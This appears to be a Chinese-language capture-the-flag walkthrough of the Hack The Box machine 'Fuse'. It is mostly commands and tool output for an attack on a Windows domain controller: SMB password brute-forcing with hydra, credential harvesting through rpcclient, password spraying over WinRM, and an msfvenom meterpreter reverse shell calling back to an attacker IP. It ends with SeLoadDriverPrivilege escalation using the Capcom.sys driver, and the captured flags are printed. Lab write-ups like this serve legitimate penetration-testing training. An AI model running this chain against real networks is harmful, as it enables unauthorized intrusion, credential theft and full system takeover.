信息收集

$ nmap -p- 10.10.10.193 --min-rate 1000 -sC -sVS

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-27 08:20:24Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc        Microsoft Windows RPC
49680/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

smb && printer打印机

$ crackmapexec smb 10.10.10.193

$ curl http://10.10.10.193

# echo '10.10.10.193 fuse.fabricorp.local fabricorp.local' >> /etc/hosts

获取用户名保存字典

pmerton
tlavel
sthompson
bhult
administrator

根据网页创建密码字典

$ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > password

$ hydra -L username -P password 10.10.10.193 smb -t 100

[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01

$ smbclient -U bhult -L \\10.10.10.193

提示必须修改密码

# smbpasswd -r 10.10.10.193 bhult

修改密码:whoami@123!!

Old SMB password:
New SMB password:
Retype new SMB password:                                   
Password changed for user bhult on 10.10.10.193.

$ rpcclient -U bhult%$whoami@123!! 10.10.10.193

rpcclient $> querydispinfo
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain
index: 0x109c RID: 0x1db2 acb: 0x00000210 Account: astein       Name: (null)    Desc: (null)
index: 0x1099 RID: 0x1bbd acb: 0x00020010 Account: bhult        Name: (null)    Desc: (null)
index: 0x1092 RID: 0x451 acb: 0x00020010 Account: bnielson      Name: (null)    Desc: (null)
index: 0x109a RID: 0x1bbe acb: 0x00000211 Account: dandrews     Name: (null)    Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.
index: 0x109d RID: 0x1db3 acb: 0x00000210 Account: dmuir        Name: (null)    Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
index: 0x109b RID: 0x1db1 acb: 0x00000210 Account: mberbatov    Name: (null)    Desc: (null)
index: 0x1096 RID: 0x643 acb: 0x00000210 Account: pmerton       Name: (null)    Desc: (null)
index: 0x1094 RID: 0x641 acb: 0x00000210 Account: sthompson     Name: (null)    Desc: (null)
index: 0x1091 RID: 0x450 acb: 0x00000210 Account: svc-print     Name: (null)    Desc: (null)
index: 0x1098 RID: 0x645 acb: 0x00000210 Account: svc-scan      Name: (null)    Desc: (null)
index: 0x1095 RID: 0x642 acb: 0x00020010 Account: tlavel        Name: (null)    Desc: (null)

https://github.com/ropnop/windapsearch

或者用windapsearch.py搜索用户

将用户名加入username字典

枚举打印机

rpcclient $> enumprinters

flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]

使用打印机提供的密码爆破其他用户rpc服务

$ crackmapexec winrm 10.10.10.193 -u username -p '$fab@s3Rv1ce$1' --continue-on-success

username:svc-print password:$fab@s3Rv1ce$1

$ evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i 10.10.10.193

User.txt

2b8de354178a4e459233b51829b3dcb3

权限提升 & SeLoadDriverPrivilege

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami /priv

到目前为止，我们知道我们有能力加载驱动程序。然而，快速搜索此利用向量会发现一篇来自 Tarlogic Security (https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)的帖子，展示了如何加载一个易受攻击的驱动程序，这可以被利用来获得远程代码执行（RCE）。该帖子还提到，在最新的 Windows 10 或 Windows Server 2016 版本中，此向量不再可被利用。

从 Windows 10 版本 1803 开始，NTLoadDriver 似乎禁止引用 HKEY_CURRENT_USER 下的注册表键。在 Windows Server 2019 上也无法利用该漏洞。然而，回顾我们的 Nmap 扫描结果，我们看到该机器是 Windows Server 2016，OS Build 14393。在这个构建版本中，使用 SeLoadDriver 权限进行权限提升仍然是可能的。

*Evil-WinRM* PS C:\Users\svc-print\Documents> get-item 'hklm:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\'

Windows Defender 在机器上未启用，因此我们不需要担心任何规避措施。

获取稳定会话

$ msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f exe > /tmp/reverse.exe

msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 10032
msf6 exploit(multi/handler) > exploit -j

*Evil-WinRM* PS C:\Users\svc-print\Documents> upload ../../../../../tmp/reverse.exe c:\\TEMP\\reverse.exe

*Evil-WinRM* PS C:\Users\svc-print\Documents> c:\\TEMP\\reverse.exe

https://github.com/k4sth4/SeLoadDriverPrivilege

*Evil-WinRM* PS C:\TEMP> upload ./../../../../tmp/SeLoadDriverPrivilege/eoploaddriver_x64.exe c:\\Temp\\eoploaddriver_x64.exe

*Evil-WinRM* PS C:\TEMP> upload ./../../../../tmp/SeLoadDriverPrivilege/ExploitCapcom.exe c:\\Temp\\ExploitCapcom.exe

*Evil-WinRM* PS C:\TEMP> upload ./../../../../tmp/SeLoadDriverPrivilege/Capcom.sys c:\\Temp\\Capcom.sys

*Evil-WinRM* PS C:\TEMP> .\eoploaddriver_x64.exe System\\CurrentControlSet\\dfserv C:\\Temp\\Capcom.sys

*Evil-WinRM* PS C:\TEMP> .\ExploitCapcom.exe LOAD C:\\Temp\Capcom.sys

*Evil-WinRM* PS C:\TEMP> .\ExploitCapcom.exe EXPLOIT whoami

返回msf

msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 10032
msf6 exploit(multi/handler) > exploit -j

*Evil-WinRM* PS C:\Users\svc-print\Documents> upload ../../../../../tmp/reverse.exe c:\\TEMP\\reverse.exe

*Evil-WinRM* PS C:\TEMP> .\ExploitCapcom.exe EXPLOIT "c:\\TEMP\\reverse.exe"

Root.txt

608bf78beeccbbc4f3069a2f8d5095e5

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